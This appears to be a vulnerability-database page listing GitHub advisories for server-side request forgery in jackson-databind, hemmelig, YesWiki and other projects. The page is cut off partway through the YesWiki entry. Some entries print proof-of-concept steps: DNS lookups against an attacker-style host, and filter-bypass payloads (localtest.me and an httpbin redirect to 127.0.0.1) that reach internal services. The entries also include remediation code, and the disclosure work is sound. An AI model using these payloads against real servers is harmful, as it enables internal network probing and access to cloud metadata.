Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6217 vulnerabilities reference this CWE, most recent first.

GHSA-VVGP-RFG2-7RR6

Vulnerability from github – Published: 2026-09-28 20:17 – Updated: 2026-09-28 20:17
VLAI
Summary
jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution (SSRF) still present in InetAddress deserialization
Details

Summary

CVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of java.net.InetSocketAddress by switching to InetSocketAddress.createUnresolved(...) (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling java.net.InetAddress branch in the very same FromStringDeserializer.Std._deserialize() switch statement, which still calls InetAddress.getByName(value) and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through InetAddress.

Details

File: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java

Sibling cases in the same switch: - Line 357-358 (UNFIXED): case STD_INET_ADDRESS: return InetAddress.getByName(value); // eager forward DNS lookup - Line 359-381 + helper at 494-496 (FIXED by PR #5951): protected InetSocketAddress _inetSocketAddress(String host, int port) { // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup: return InetSocketAddress.createUnresolved(host, port); // no DNS }

InetAddress is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an InetAddress-typed target — a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot — reaches InetAddress.getByName(attackerControlledString), which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation.

The parent fix's own added unit test asserts address.isUnresolved() with the comment "should NOT resolve address", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property.

Verified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through _inetSocketAddress -> createUnresolved, while InetAddress.getByName is still emitted unchanged in the InetAddress branch.

PoC

Lab-only, zero network egress. Run against the fixed jackson-databind 2.18.8.

A custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host:

ObjectMapper m = new ObjectMapper();
// InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true
m.readValue("\"internal-metadata.attacker-oob.example:8080\"", InetSocketAddress.class);
// InetAddress (unpatched sibling): 1 resolver lookup on the attacker host
m.readValue("\"internal-metadata.attacker-oob.example\"", InetAddress.class);

Observed output (jackson 2.18.8): [A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null [B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example

A standalone variant (no SPI) using an RFC-6761 .invalid canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java.

Reachability with a plain field (no annotations, no polymorphism, no default typing): static class Config { public InetAddress bindHost; public int port; } mapper.readValue("{\"bindHost\":\"poc-reach.example\",\"port\":1}", Config.class); // -> resolver invoked on "poc-reach.example"

Impact

An attacker who can influence JSON deserialized into an InetAddress target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket.

Suggested fix: avoid eager resolution for InetAddress as well — e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation).

Credit : Ta Duc Thien

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.18.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.22.0"
            },
            {
              "fixed": "2.22.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-28T20:17:41Z",
    "nvd_published_at": "2026-08-24T20:17:20Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nCVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind\u0027s deserialization of `java.net.InetSocketAddress` by switching to `InetSocketAddress.createUnresolved(...)` (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling `java.net.InetAddress` branch in the very same `FromStringDeserializer.Std._deserialize()` switch statement, which still calls `InetAddress.getByName(value)` and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through `InetAddress`.\n\n### Details\nFile: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java\n\nSibling cases in the same switch:\n- Line 357-358 (UNFIXED):\n    case STD_INET_ADDRESS:\n        return InetAddress.getByName(value);     // eager forward DNS lookup\n- Line 359-381 + helper at 494-496 (FIXED by PR #5951):\n    protected InetSocketAddress _inetSocketAddress(String host, int port) {\n        // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup:\n        return InetSocketAddress.createUnresolved(host, port);   // no DNS\n    }\n\n`InetAddress` is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an `InetAddress`-typed target \u2014 a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot \u2014 reaches `InetAddress.getByName(attackerControlledString)`, which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation.\n\nThe parent fix\u0027s own added unit test asserts `address.isUnresolved()` with the comment \"should NOT resolve address\", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property.\n\nVerified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through `_inetSocketAddress -\u003e createUnresolved`, while `InetAddress.getByName` is still emitted unchanged in the InetAddress branch.\n\n### PoC\nLab-only, zero network egress. Run against the fixed jackson-databind 2.18.8.\n\nA custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host:\n\n    ObjectMapper m = new ObjectMapper();\n    // InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true\n    m.readValue(\"\\\"internal-metadata.attacker-oob.example:8080\\\"\", InetSocketAddress.class);\n    // InetAddress (unpatched sibling): 1 resolver lookup on the attacker host\n    m.readValue(\"\\\"internal-metadata.attacker-oob.example\\\"\", InetAddress.class);\n\nObserved output (jackson 2.18.8):\n    [A] InetSocketAddress  isUnresolved=true  resolverLookups=0  lastHost=null\n    [B] InetAddress        value=localhost/127.0.0.1  resolverLookups=1  lastHost=internal-metadata.attacker-oob.example\n\nA standalone variant (no SPI) using an RFC-6761 `.invalid` canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java.\n\nReachability with a plain field (no annotations, no polymorphism, no default typing):\n    static class Config { public InetAddress bindHost; public int port; }\n    mapper.readValue(\"{\\\"bindHost\\\":\\\"poc-reach.example\\\",\\\"port\\\":1}\", Config.class);\n    // -\u003e resolver invoked on \"poc-reach.example\"\n\n### Impact\nAn attacker who can influence JSON deserialized into an `InetAddress` target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket.\n\nSuggested fix: avoid eager resolution for InetAddress as well \u2014 e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation).\n\nCredit : Ta Duc Thien",
  "id": "GHSA-vvgp-rfg2-7rr6",
  "modified": "2026-09-28T20:17:41Z",
  "published": "2026-09-28T20:17:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-vvgp-rfg2-7rr6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77310"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/pull/6058"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/2fc7bd9057dd051d7dea0e5fcad89822d0fa5ebd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-databind"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution (SSRF) still present in InetAddress deserialization"
}

GHSA-VVH3-7X7M-53XF

Vulnerability from github – Published: 2025-09-16 15:32 – Updated: 2025-09-16 15:32
VLAI
Details

The ip (aka node-ip) package through 2.0.1 (in NPM) might allow SSRF because the IP address value 0 is improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2024-29415. NOTE: in current versions of several applications, connection attempts to the IP address 0 (interpreted as 0.0.0.0) are blocked with error messages such as net::ERR_ADDRESS_INVALID. However, in some situations that depend on both application version and operating system, connection attempts to 0 and 0.0.0.0 are considered connection attempts to 127.0.0.1 (and, for this reason, a false value of isPublic would be preferable).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-59437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-16T06:16:05Z",
    "severity": "LOW"
  },
  "details": "The ip (aka node-ip) package through 2.0.1 (in NPM) might allow SSRF because the IP address value 0 is improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2024-29415. NOTE: in current versions of several applications, connection attempts to the IP address 0 (interpreted as 0.0.0.0) are blocked with error messages such as net::ERR_ADDRESS_INVALID. However, in some situations that depend on both application version and operating system, connection attempts to 0 and 0.0.0.0 are considered connection attempts to 127.0.0.1 (and, for this reason, a false value of isPublic would be preferable).",
  "id": "GHSA-vvh3-7x7m-53xf",
  "modified": "2025-09-16T15:32:31Z",
  "published": "2025-09-16T15:32:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59437"
    },
    {
      "type": "WEB",
      "url": "https://cosmosofcyberspace.github.io/CVE-Application-Document.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/node-ip/tags"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVV2-P9HV-8634

Vulnerability from github – Published: 2026-03-11 15:31 – Updated: 2026-03-11 15:31
VLAI
Details

An issue pertaining to CWE-918: Server-Side Request Forgery was discovered in Sunbird-Ed SunbirdEd-portal v1.13.4. This allows attackers to obtain sensitive information

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-70027"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-11T15:16:21Z",
    "severity": "HIGH"
  },
  "details": "An issue pertaining to CWE-918: Server-Side Request Forgery was discovered in Sunbird-Ed SunbirdEd-portal v1.13.4. This allows attackers to obtain sensitive information",
  "id": "GHSA-vvv2-p9hv-8634",
  "modified": "2026-03-11T15:31:52Z",
  "published": "2026-03-11T15:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70027"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/zcxlighthouse/6eac455e9094ae313a1c39c25d520b3d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sunbird-Ed"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sunbird-Ed/SunbirdEd-portal"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVXF-WJ5W-6GJ5

Vulnerability from github – Published: 2025-12-29 21:31 – Updated: 2025-12-29 21:31
VLAI
Summary
hemmelig allows SSRF Filter bypass via Secret Request functionality
Details

Summary

A Server-Side Request Forgery (SSRF) filter bypass vulnerability exists in the webhook URL validation of the Secret Requests feature. The application attempts to block internal/private IP addresses but can be bypassed using DNS rebinding (e.g., localtest.me which resolves to 127.0.0.1) or open redirect services (e.g., httpbin.org/redirect-to). This allows an authenticated user to make the server initiate HTTP requests to internal network resources.

Details

The vulnerability exists in the isPublicUrl function located in /api/lib/utils.ts. The function validates webhook URLs against a blocklist of private IP patterns:

export const isPublicUrl = (url: string): boolean => {
    const parsed = new URL(url);
    const hostname = parsed.hostname.toLowerCase();

    const blockedPatterns = [
        /^localhost$/,
        /^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/,
        /^192\.168\.\d{1,3}\.\d{1,3}$/,
        // ... other patterns
    ];

    return !blockedPatterns.some((pattern) => pattern.test(hostname));
};

The validation is flawed because:

  1. DNS Rebinding Bypass: It only checks the hostname string, not the resolved IP address. Domains like localtest.me pass validation (not matching any blocked pattern) but resolve to 127.0.0.1.

  2. Open Redirect Bypass: External URLs like httpbin.org/redirect-to?url=http://127.0.0.1 pass validation since httpbin.org is a public domain. When the server follows the redirect, it connects to the internal address.

PoC

Optional: On the container that runs Hemmelig application, host a temporary port with the following command:

node -e "require('http').createServer((req,res)=>{console.log(req.method,req.url,req.headers);res.end('ok')}).listen(8080,()=>console.log('Listening on 8080'))"
  1. Log in as an user
  2. Switch to Secret Requests tab and create a new request
  3. When inside the request dialog, there are 2 possible payloads that can be used on the Webhook URL input to bypass SSRF
1. Using domain redirect: http://localtest.me:PORT
2. Using httpbin to perform a redirect: httpbin.org/redirect-to?url=http://127.0.0.1:PORT
  1. Open a new browser/tab and confirm the request by creating a secret. Upon clicking save, the port we hosted we receive a request. image

Otherwise, if the port doesn't exist, a similar error in the logs can be found:

Secret request webhook delivery failed after retries: TypeError: fetch failed
    at node:internal/deps/undici/undici:15845:13
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
    at async sendSecretRequestWebhook (/app/api/routes/secret-requests.ts:58:34) {
  [cause]: Error: connect ECONNREFUSED 127.0.0.1:80
      at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
    errno: -111,
    code: 'ECONNREFUSED',
    syscall: 'connect',
    address: '127.0.0.1',
    port: 80
  }
}

Impact

While the SSRF filter can be bypassed, the practical impact is limited because this is a Blind SSRF, there is no response reflected. But with certain technique like response-timing, the attackers can still indicate whether or not a port is opened.

Remediation

Replace hostname-based validation with IP resolution checking:

import { isIP } from 'is-ip';
import dns from 'dns/promises';

export const isPublicUrl = async (url: string): Promise<boolean> => {
    const parsed = new URL(url);
    const hostname = parsed.hostname;

    // Resolve hostname to IP
    let addresses: string[];
    try {
        if (isIP(hostname)) {
            addresses = [hostname];
        } else {
            addresses = await dns.resolve4(hostname).catch(() => []);
            const ipv6 = await dns.resolve6(hostname).catch(() => []);
            addresses = [...addresses, ...ipv6];
        }
    } catch {
        return false;
    }

    // Check resolved IPs against blocklist
    const privateRanges = [
        /^127\./,
        /^10\./,
        /^192\.168\./,
        /^172\.(1[6-9]|2\d|3[0-1])\./,
        /^169\.254\./,
        /^::1$/,
        /^fe80:/i,
        /^fc00:/i,
        /^fd/i,
    ];

    return addresses.length > 0 && !addresses.some(ip => 
        privateRanges.some(pattern => pattern.test(ip))
    );
};

Additionally, disable following redirects in the webhook fetch call or re-validate the URL after each redirect.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hemmelig"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-29T21:31:04Z",
    "nvd_published_at": "2025-12-29T16:15:44Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA Server-Side Request Forgery (SSRF) filter bypass vulnerability exists in the webhook URL validation of the Secret Requests feature. The application attempts to block internal/private IP addresses but can be bypassed using DNS rebinding (e.g., `localtest.me` which resolves to `127.0.0.1`) or open redirect services (e.g., `httpbin.org/redirect-to`). This allows an authenticated user to make the server initiate HTTP requests to internal network resources.\n\n### Details\nThe vulnerability exists in the `isPublicUrl` function located in `/api/lib/utils.ts`. The function validates webhook URLs against a blocklist of private IP patterns:\n\n```typescript\nexport const isPublicUrl = (url: string): boolean =\u003e {\n    const parsed = new URL(url);\n    const hostname = parsed.hostname.toLowerCase();\n    \n    const blockedPatterns = [\n        /^localhost$/,\n        /^127\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/,\n        /^192\\.168\\.\\d{1,3}\\.\\d{1,3}$/,\n        // ... other patterns\n    ];\n    \n    return !blockedPatterns.some((pattern) =\u003e pattern.test(hostname));\n};\n```\n\n**The validation is flawed because:**\n\n1. **DNS Rebinding Bypass**: It only checks the hostname string, not the resolved IP address. Domains like `localtest.me` pass validation (not matching any blocked pattern) but resolve to `127.0.0.1`.\n\n2. **Open Redirect Bypass**: External URLs like `httpbin.org/redirect-to?url=http://127.0.0.1` pass validation since `httpbin.org` is a public domain. When the server follows the redirect, it connects to the internal address.\n\n### PoC\nOptional: On the container that runs Hemmelig application, host a temporary port with the following command: \n```\nnode -e \"require(\u0027http\u0027).createServer((req,res)=\u003e{console.log(req.method,req.url,req.headers);res.end(\u0027ok\u0027)}).listen(8080,()=\u003econsole.log(\u0027Listening on 8080\u0027))\"\n```\n1. Log in as an user\n2. Switch to `Secret Requests` tab and create a new request\n3. When inside the request dialog, there are 2 possible payloads that can be used on the `Webhook URL` input to bypass SSRF\n```\n1. Using domain redirect: http://localtest.me:PORT\n2. Using httpbin to perform a redirect: httpbin.org/redirect-to?url=http://127.0.0.1:PORT\n```\n4. Open a new browser/tab and confirm the request by creating a secret. Upon clicking save, the port we hosted we receive a request. \n\u003cimg width=\"795\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95d559e5-ead2-4b5d-8e53-9ddec3416953\" /\u003e\n\nOtherwise, if the port doesn\u0027t exist, a similar error in the logs can be found:\n```\nSecret request webhook delivery failed after retries: TypeError: fetch failed\n    at node:internal/deps/undici/undici:15845:13\n    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)\n    at async sendSecretRequestWebhook (/app/api/routes/secret-requests.ts:58:34) {\n  [cause]: Error: connect ECONNREFUSED 127.0.0.1:80\n      at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {\n    errno: -111,\n    code: \u0027ECONNREFUSED\u0027,\n    syscall: \u0027connect\u0027,\n    address: \u0027127.0.0.1\u0027,\n    port: 80\n  }\n}\n```\n### Impact\nWhile the SSRF filter can be bypassed, the practical impact is limited because this is a Blind SSRF, there is no response reflected. But with certain technique like response-timing, the attackers can still indicate whether or not a port is opened.\n\n### Remediation\nReplace hostname-based validation with IP resolution checking:\n```typescript\nimport { isIP } from \u0027is-ip\u0027;\nimport dns from \u0027dns/promises\u0027;\n\nexport const isPublicUrl = async (url: string): Promise\u003cboolean\u003e =\u003e {\n    const parsed = new URL(url);\n    const hostname = parsed.hostname;\n    \n    // Resolve hostname to IP\n    let addresses: string[];\n    try {\n        if (isIP(hostname)) {\n            addresses = [hostname];\n        } else {\n            addresses = await dns.resolve4(hostname).catch(() =\u003e []);\n            const ipv6 = await dns.resolve6(hostname).catch(() =\u003e []);\n            addresses = [...addresses, ...ipv6];\n        }\n    } catch {\n        return false;\n    }\n    \n    // Check resolved IPs against blocklist\n    const privateRanges = [\n        /^127\\./,\n        /^10\\./,\n        /^192\\.168\\./,\n        /^172\\.(1[6-9]|2\\d|3[0-1])\\./,\n        /^169\\.254\\./,\n        /^::1$/,\n        /^fe80:/i,\n        /^fc00:/i,\n        /^fd/i,\n    ];\n    \n    return addresses.length \u003e 0 \u0026\u0026 !addresses.some(ip =\u003e \n        privateRanges.some(pattern =\u003e pattern.test(ip))\n    );\n};\n```\nAdditionally, disable following redirects in the webhook fetch call or re-validate the URL after each redirect.",
  "id": "GHSA-vvxf-wj5w-6gj5",
  "modified": "2025-12-29T21:31:04Z",
  "published": "2025-12-29T21:31:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HemmeligOrg/Hemmelig.app/security/advisories/GHSA-vvxf-wj5w-6gj5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HemmeligOrg/Hemmelig.app/commit/6c909e571d0797ee3bbd2c72e4eb767b57378228"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HemmeligOrg/Hemmelig.app"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "hemmelig allows SSRF Filter bypass via Secret Request functionality"
}

GHSA-VW2V-VQM8-9F9G

Vulnerability from github – Published: 2026-04-30 18:30 – Updated: 2026-04-30 18:30
VLAI
Details

A Server-Side Request Forgery (SSRF) in the /plugins/-/install-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-36756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-30T16:16:42Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) in the /plugins/-/install-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request.",
  "id": "GHSA-vw2v-vqm8-9f9g",
  "modified": "2026-04-30T18:30:32Z",
  "published": "2026-04-30T18:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36756"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf2/readme.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/halo-dev/halo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VW3J-XFJF-6RJ3

Vulnerability from github – Published: 2022-02-10 00:00 – Updated: 2022-02-10 00:00
VLAI
Details

In ArangoDB, versions v3.7.0 through v3.9.0-alpha.1 have a feature which allows downloading a Foxx service from a publicly available URL. This feature does not enforce proper filtering of requests performed internally, which can be abused by a highly-privileged attacker to perform blind SSRF and send internal requests to localhost.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-25939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-09T13:15:00Z",
    "severity": "LOW"
  },
  "details": "In ArangoDB, versions v3.7.0 through v3.9.0-alpha.1 have a feature which allows downloading a Foxx service from a publicly available URL. This feature does not enforce proper filtering of requests performed internally, which can be abused by a highly-privileged attacker to perform blind SSRF and send internal requests to localhost.",
  "id": "GHSA-vw3j-xfjf-6rj3",
  "modified": "2022-02-10T00:00:31Z",
  "published": "2022-02-10T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arangodb/arangodb/commit/d7b35a6884c6b2802d34d79fb2a79fb2c9ec2175"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arangodb/arangodb/commit/d9b7f019d2435f107b19a59190bf9cc27d5f34dd"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25939"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VW42-752G-5MRP

Vulnerability from github – Published: 2026-07-09 20:58 – Updated: 2026-07-09 20:58
VLAI
Summary
YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
Details

Summary

The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.

The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').

Details

Affected component

  • File: tools/bazar/services/HttpSignatureService.php
  • Method: HttpSignatureService::verifySignature(Request $request)
  • Sink: line 96
  • Route: tools/bazar/controllers/ApiController.php line 125 — @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})
// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83–100)
public function verifySignature(Request $request) {
    if (!$request->headers->has('Signature')) {
        throw new Exception('No signature');
    }

    $sigConf = parse_ini_string(
        strtr($request->headers->get('Signature'), ["," => "\n"])           // (a) attacker controls every field
    );

    if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
        throw new Exception('Malformed signature');
    }

    $response = $this->httpClient->request('GET', $sigConf['keyId'], [    // (b) SINK — no validation,
        'headers' => [ 'Accept' => 'application/ld+json']                 //     no allowlist, no scheme
    ]);                                                                  //     pinning, no IP filtering
    ...
}

The inbox controller calls verifySignature() before running any cryptography:

// tools/bazar/controllers/ApiController.php  (lines 125–145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
    $activityPubService   = $this->getService(ActivityPubService::class);
    $httpSignatureService = $this->getService(HttpSignatureService::class);

    $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];

    if ($activityPubService->isEnabled($form)) {
        $activity = json_decode($request->getContent(), true);

        $httpSignatureService->verifySignature($request);     // <-- SSRF fires here
        $activityPubService->processActivity($activity, $form);
        return new ApiResponse(null, Response::HTTP_OK, …);
    } else {
        throw new NotFoundHttpException();
    }
}

The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.

End-to-end attack chain

